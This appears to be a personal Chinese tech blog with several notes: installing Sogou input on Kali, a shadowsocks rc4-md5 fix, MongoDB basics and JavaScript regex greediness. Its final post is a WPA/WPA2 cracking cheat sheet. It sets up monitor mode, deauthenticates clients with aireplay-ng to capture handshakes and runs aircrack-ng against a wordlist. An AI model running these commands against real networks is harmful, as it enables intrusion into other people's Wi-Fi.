Eric 发布的文章

kali 2.0 安装 搜狗输入法

UBS 盘上安装 kali 之后, 一直用自带打中文输入法, 这个输入法类似windows 早期自带打全拼, 有个词条候选框, 可是全是黑的, 根本看不到汉字, 正确打出需要汉字的几率非常低, 无奈, 只好寻找 sogou 输入法。

kali 2.0 基于 Debian 7。
去搜狗官网下载最新打 deb 文件, 通过 dpkg -i sougo*.deb 去安装, 总是报 fcitx 的版本太低。
于是想办法去安装最新的 fcitx, 尝试的方法有:
安装 fcitx 的 ppa nightly 版本, 虽然添加了, 即使 apt-get update 之后, 还是不能安装最新的 fcitx, 不知道什么个鬼, 总是安装不上。

无奈, 最后看到其实官方 repo 上面 是有最新的 fcitx 的版本, 只好这样计划:

  1. 删除现有所有 fcitx 包

    apt-get remove fcitx*
    apt-get autoremove
    
  2. 重新下载官方包, 然后根据依赖关系安装

    官方镜像 站点 http://mirrors.aliyun.com/kali/pool/main/f/fcitx/
    需要的包 都 wget 拿下, 然后根据依赖 下载, 然后 dpkg -i fcitx××××.deb 去安装
    

安装之后重启, 就好啦, 记得改成系统语言为中文。

finally fix dualwan ss rc4-md5 issue

一开始从论坛搜出下载的ss 安装后, 总是报下面的这个问题:

root@home:/opt/etc/init.d# ss-local -c /opt/etc/shadowsocks/ss-local.json 
 2015-11-01 19:45:36 INFO: initialize ciphers... rc4-md5
 2015-11-01 19:45:36 ERROR: Invalid cipher name: rc4-md5, use table instead
 2015-11-01 19:45:38 INFO: server listening at port 1080.

也就是不支持 rc4-md5 的加密方式, 而我买的服务商只支持这个加密方式, 很无奈.

试了N多种下载包, 终于找到支持的包. 在一篇blog (https://smileawei.com/hiwifi-1s-shadowsocks-1-4-8-rc4-md5/)
里面提到: shadowsocks升级到1.4.8, 支持rc4-md5. 并且给出了链接:
http://dl.lazyzhu.com/file/Toolchain/ss-libev/1.4.8-5d7dd372fc/mips/shadowsocks-libev-polarssl_1.4.8_mipsel_uclibc.zip

把上面的包下载后, 加压, 上传路由器, 去覆盖 /opt/bin 目录下的ss-local, ss-redir 就好了

root@home:/opt/bin# ls | grep ss
openssl
ss-local
ss-redir

当然, 安装好之后, 要给chrome 装switchysharp, 还没用上代理, 无法打开chrome store. 可以使用下面的官方站点去下载:
http://www.switchysharp.com/install.html

如何配置多个server:

{
         "server":["45.78.22.221", "45.78.22.222", "45.78.22.223"],
        "server_port":10489,
        "local_port":1080,
        "password":"password",
        "timeout":60,
        "method":"rc4-md5"
}

路由器上检测是不是已经安装shadowsocks:
ipkg list_installed | grep shadowsocks
删除已安装: ipkg remove **

MongoDB 基本概念 一

MongoDB: from humongous. <俚>极大的; 其大无比的, written in C++, JavaScript, C.
使用类似JSON的格式 -> BSON.

MongoDB instance -> Database -> Collection -> Document -> JSON [null, boolean, number, string, object, array]

Document 的键是一个字符串.
MongoDB 不但区分数据类型, 还区分大小写, 还区分 键/值对的顺序.

关于数组:

var arr = ['a', 1, false, null];
arr.forEach(function(x){console.log(x);});

ObjectId 是 _id 的默认类型 (可替换为其他类型). 使用12字节存储空间, 由24个16进制数字字符串表示.
{0..3: 时间戳, 4..6: 机器, 7..8: PID, 9..11: 计数器}

javascript 正则表达式 贪婪和非贪婪模式

关于 javascript 正则表达式

例子: 取出主机名第一部分

var hostNameRe = new RegExp("^(.+)\\.(.+)");
var result = hostNameRe.exec("sh005.cloud.tianxiaoui.com");
console.log(result[1]);
console.log(result[2]);

运行代码:

sh005.cloud.tianxiaoui
com

这明显不是我想要的, 我只想要第一部分的片段, 这个表达式是贪婪模式

var hostNameRe = new RegExp("^(.+?)\\.(.+)");

只要多加一个? 就改成了非贪婪模式.

x*?
x+?
Matches the preceding item x like * and + from above, however the match is the smallest possible match.
For example, /".*?"/ matches '"foo"' in '"foo" "bar"' and does not match '"foo" "bar"' as without the ? behind the *.

破解 wpa/wpa2

查看網卡:
ifconfig
ifconfig -a

設置網卡爲monitor 模式
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up
iwconfig wlan0

// open monitor
airmon-ng start wlan0

//check all networks
airodump-ng wlan0

// dump data
airodump-ng --ivs -w xiaomi -c 10 wlan0
airodump-ng --ivs -w mm -c 6 --bssid 00:10:18:01:D8:82 wlan0

// make network down and reshake hands
aireplay-ng -0 10 -a 40:16:9F:E0:79:00 -c 80:BE:05:0B:C2:B8 wlan1

//crack
aircrack-ng -w /root/Downloads/dict/123.txt mm-02.ivs